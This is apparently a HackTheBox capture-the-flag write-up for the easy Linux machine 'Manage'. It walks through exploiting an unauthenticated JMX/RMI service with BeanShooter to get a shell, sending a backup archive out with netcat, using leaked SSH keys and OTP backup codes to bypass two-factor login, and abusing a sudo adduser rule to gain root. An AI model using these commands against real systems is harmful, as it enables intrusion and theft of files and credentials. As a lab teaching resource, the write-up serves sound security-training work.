



HACKTHEBOX



Manage

7th July 2025

Prepared By: Pho3

Machine Author: fume & xct

Difficulty: **Easy**

Synopsis

Manage is an easy Linux machine that features an exposed `Java RMI` service. Exploiting the underlying vulnerable `JMX` service leads to remote code execution and gaining a remote shell as the `tomcat` user. Lateral movement to the `useradmin` account can be achieved by discovering a misconfigured backup archive which leaks sensitive files, including `SSH` keys and `OTP` codes. Finally, a `sudo` misconfiguration allows for creating a privileged user and achieving full privilege escalation.

Skills Required

- Basic Enumeration Skills
- Basic Understanding of Linux Operating Systems

Skills Learned

- Enumerating and Exploiting Java RMI
- Exploiting sudo Misconfigurations

Enumeration

Nmap

We will start with our usual `Nmap` scan and we find three ports open. We see `OpenSSH` on port 22, an `HTTP` web server (`Apache Tomcat`) running on `port 8080`, and a `Java RMI` service running on `port 2222`.

```
$ nmap -sC -sV 10.129.234.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-27 11:13 EEST
Nmap scan report for 10.129.234.57
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp  open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxrmi
|   javax.management.remote.rmi.RMIServerImpl_Stub
|   @127.0.1.1:38817
|   extends
|   java.rmi.server.RemoteStub
|   extends
|_   java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp  open  http      Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/10.1.19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.79 seconds
```

Let's start by visiting the `Tomcat` page in our browser and we will be greeted with the default `Apache Tomcat` landing page.

← → ↻ 🏠 🔒 10.129.234.57:8080 ☆ 📧 📄 📌 ☰

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/10.1.19

APACHE SOFTWARE FOUNDATION
http://www.apache.org/

If you're seeing this, you've successfully installed Tomcat. Congratulations!



Recommended Reading:

- [Security Considerations How-To](#)
- [Manager Application How-To](#)
- [Clustering/Session Replication How-To](#)

Server Status
Manager App
Host Manager

Developer Quick Start

Tomcat Setup	Realms & AAA	Examples	Servlet Specifications
First Web Application	JDBC DataSources		Tomcat Versions

Managing Tomcat

For security, access to the [manager webapp](#) is restricted. Users are defined in:

```
$CATALINA_HOME/conf/tomcat-users.xml
```

In Tomcat 10.1 access to the manager application is split between different users. [Read more...](#)

[Release Notes](#)

[Changelog](#)

[Migration Guide](#)

Documentation

[Tomcat 10.1 Documentation](#)

[Tomcat 10.1 Configuration](#)

[Tomcat Wiki](#)

Find additional important configuration information in:

```
$CATALINA_HOME/RUNNING.txt
```

Developers may be interested in:

- [Tomcat 10.1 Bug Database](#)
- [Tomcat 10.1 JavaDocs](#)
- [Tomcat 10.1 Git Repository at GitHub](#)

Getting Help

[FAQ and Mailing Lists](#)

The following mailing lists are available:

[tomcat-announce](#)
Important announcements, releases, security vulnerability notifications. (Low volume).

[tomcat-users](#)
User support and discussion

[taglibs-user](#)
User support and discussion for [Apache Taglibs](#)

[tomcat-dev](#)
Development mailing list, including commit messages

However, even after digging a little we don't find anything interesting at the moment. So let's move on to the `Java RMI` service on `port 2222`.

Java RMI

`Java RMI` (Remote Method Invocation) is used to invoke methods remotely across a network, and if it's poorly configured, it might be exploited to execute code on the server. From our `Nmap` scan earlier we saw the following:

```
2222/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:38817
|     extends
|       java.rmi.server.RemoteStub
|     extends
|_      java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
```

This reveals that the `RMI` registry is accessible and doesn't seem to require authentication. It mentions a `JMX` (Java Management Extensions) service that is bound to the `RMI` port. That means we might be able to exploit this to run code remotely.

Let's use a tool like `BeanShooter`, a tool specifically for enumerating and exploiting `JMX` endpoints. We can clone the tool from [Github](#) onto our machine and then we'll have to build the tool ourselves using `maven` or we can use the latest [prebuilt release](#).

```
$ git clone https://github.com/gtc-de/beanshooter
$ cd beanshooter
$ mvn package
```

After the tool finishes building we'll see that a `.jar` file has been built in the `/target` folder. This file contains `BeanShooter` and all its dependencies and will allow us to run the tool with `java`.

Let's start by using its enumeration function to find exposed beans, users and whether the service is protected or not.

```
$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Checking available bound names:
[+]
[+] * jmxrmi (JMX endpoint: 127.0.1.1:40705)
[+]
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
<SNIP>
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 2 tomcat users:
[+]
[+] -----
[+] Username: manager
[+] Password: fhErvo2r9wuTEYiYgt
[+] Roles:
[+] Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+] -----
[+] Username: admin
[+] Password: onyRPCkaG4iX72BrRtKgbszd
[+] Roles:
[+] Users:type=Role,rolename="role1",database=UserDatabase
```

From the output we can see a few things:

- The `JMX` service is accessible and does not require authentication.
- It has hardcoded `Tomcat` user credentials.
- Although pre-auth deserialization is not exploitable, the `JMX` interface itself is, because we can deploy and trigger our own `MBeans` without authentication.

Foothold

Thus we will proceed with creating and deploying a malicious MBean. The `standard` mode will deploy a bean that will allow us to have remote command execution and we'll also specify a name for the payload, `tonka`.

```
$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.234.57 2222 tonka
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deploying MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=732201892021296 was
successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected behavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=732201892021296 from
the MBeanServer.
[+] MBean was successfully removed.
```

Now we can try triggering a shell as the `tomcat` user:

```
$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.129.234.57 2222
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[tomcat@10.129.234.57 /]$
```

We successfully have a shell on the victim machine and upon some enumeration we find the user flag under `/opt/tomcat/user.txt`!

Lateral Movement

Let's see what privileges and permissions the `tomcat` user has in order to try and escalate our privileges.

```
[tomcat@10.129.234.57 /]$ ls -la /home
total 16
drwxr-xr-x  4 root      root      4096 Jun 21  2024 .
drwxr-xr-x 19 root      root      4096 Apr 14 06:56 ..
drwxr-xr-x  5 karl      karl      4096 Apr 14 07:26 karl
drwxr-xr-x  5 useradmin useradmin 4096 Jun 21  2024 useradmin
```

First, we can see that there are two other users on the machine that have home directories. We don't find anything interesting in `karl's` directory so let's check `useradmin's`.

```
[tomcat@10.129.234.57 /home]$ ls -la useradmin
total 36
drwxr-xr-x  5 useradmin useradmin 4096 Jun 21  2024 .
drwxr-xr-x  4 root      root      4096 Jun 21  2024 ..
drwxrwxr-x  2 useradmin useradmin 4096 Jun 21  2024 backups
lrwxrwxrwx  1 useradmin useradmin   9 Jun 21  2024 .bash_history -> /dev/null
-rw-r--r--  1 useradmin useradmin  220 Jun 21  2024 .bash_logout
-rw-r--r--  1 useradmin useradmin 3771 Jun 21  2024 .bashrc
drwx-----  2 useradmin useradmin 4096 Jun 21  2024 .cache
-r-----  1 useradmin useradmin  200 Jun 21  2024 .google_authenticator
-rw-r--r--  1 useradmin useradmin  807 Jun 21  2024 .profile
drwxrwxr-x  2 useradmin useradmin 4096 Jun 21  2024 .ssh
```

Here we find a few interesting things. First, the `backups` folder has very loose permissions and second, from the presence of the `.google_authenticator` file there appears to be some kind of `OTP` verification mechanism in place for this account, likely for `ssh`. However, we cannot read this file at the moment so let's check the `backups` folder.

```
[tomcat@10.129.234.57 /home/useradmin/backups]$ ls -la
total 12
drwxrwxr-x  2 useradmin useradmin 4096 Jun 21  2024 .
drwxr-xr-x  5 useradmin useradmin 4096 Jun 21  2024 ..
-rw-rw-r--  1 useradmin useradmin 3088 Jun 21  2024 backup.tar.gz
```

Inside the folder we find a backup archive, let's send it over to our local machine using `Netcat` in order to extract and open it.

First, on our local machine we will set up a listener that will put any input into `backup.tar.gz`.

```
$ nc -lvp 1234 > backup.tar.gz
```

Then through the `tomcat` user, let's send the file over:

```
[tomcat@10.129.234.57 /home/useradmin/backups]$ nc {YOURIPADDRESS} 1234 < backup.tar.gz
```

Within a few moments we should have the file on our machine and we can extract it with `tar`.

```
$ tar -xvzf backup.tar.gz
```

```
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
```

We see that this archive was a backup of the `useradmin's` home folder, but now we have access to all of the files we couldn't read before. So this means we have access to `useradmin's` `SSH` key.

Let's try using it to access their account:

```
$ ssh useradmin@10.129.234.57 -i .ssh/id_ed25519
(useradmin@10.129.234.57) Verification code:
```

Immediately we are prompted for two-factor authentication, so let's open the `.google_authenticator` file and see if it might contain a hint on how to bypass this:

```
$ cat .google_authenticator

CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775
```

This file tells us how the `OTP` codes are generated but also has 10 backup codes that we can use. These codes can only be used once and are typically generated on first setup, but they will be immediately removed after use. We can use any of the 10 codes and we get access to `useradmin`!

```
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-136-generic x86_64)

* Documentation:  https://help.ubuntu.com
```

```
* Management:      https://landscape.canonical.com
* Support:         https://ubuntu.com/pro
```

System information as of Tue Jun 24 11:10:17 AM UTC 2025

```
System load:        0.02
Usage of /:         51.8% of 9.99GB
Memory usage:       21%
Swap usage:         0%
Processes:          146
Users logged in:    0
IPv4 address for eth0: 10.129.234.57
IPv6 address for eth0: dead:beef::250:56ff:feb9:e3c5
```

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.

<https://ubuntu.com/engage/secure-kubernetes-at-the-edge>

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See <https://ubuntu.com/esm> or run: `sudo pro status`

The list of available updates is more than a week old.
To check for new updates run: `sudo apt update`

useradmin@manage:~\$

Privilege Escalation

Now we can move on to final privilege escalation. Let's see what privileges `useradmin` already has with `sudo`.

```
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
```

It appears that `useradmin` can run the `adduser` binary as `root` without a password and add any alphanumeric username.

Just adding a random user is not going to be helpful but we can try adding a user called `admin`. Ubuntu systems have an `admin` user and group by default, who are granted full `sudo` permissions. However if we check `/etc/passwd` we will see there is no `admin` user on this system yet.

So if we create a user called `admin`, the system will automatically add them to this group and assign them its permissions!

Let's create the user and assign a simple password:

```
useradmin@manage:~$ sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
```

As you can see in the initial output, the user we created was indeed added to the `admin` group. Now we can switch to the `admin` account we just created and we will see they have full `sudo` privileges.

```
useradmin@manage:~$ su admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
```

From here we can easily execute any action as `root` using `sudo` or we can simply switch to the `root` account.

```
admin@manage:/home/useradmin$ sudo su
root@manage:
```

We have successfully rooted the machine and can find the `root` flag under `/root/root.txt`.